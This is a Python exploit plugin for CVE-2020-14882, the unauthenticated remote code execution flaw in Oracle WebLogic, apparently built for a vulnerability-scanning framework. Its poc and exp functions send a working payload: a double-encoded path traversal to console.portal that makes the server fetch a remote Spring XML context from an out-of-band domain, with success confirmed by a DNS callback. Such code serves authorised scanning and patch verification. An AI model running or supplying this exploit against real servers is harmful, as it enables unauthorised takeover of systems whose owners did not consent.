CVE-2020-14882.py

import requests
from plugins.oob import verify_request, gen_oob_domain



# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)''',
        "description": '''An easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.''',
        "severity": "critical",
        "references": [
            "https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf", 
            "https://www.oracle.com/security-alerts/cpuoct2020.html", 
            "https://twitter.com/jas502n/status/1321416053050667009", 
            "https://youtu.be/JFVDOIL0YtA", 
            "https://github.com/jas502n/CVE-2020-14882#eg"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2020-14882",
            "cwe-id": ""
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "oracle", "rce", "weblogic", "oast"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        oob_domain,flag = gen_oob_domain()

        path = """/console/images/%252e%252e%252fconsole.portal"""
        method = "POST"
        data = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://{oob_domain}")""".format(oob_domain=oob_domain)
        headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if verify_request(type="dns", flag=flag):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url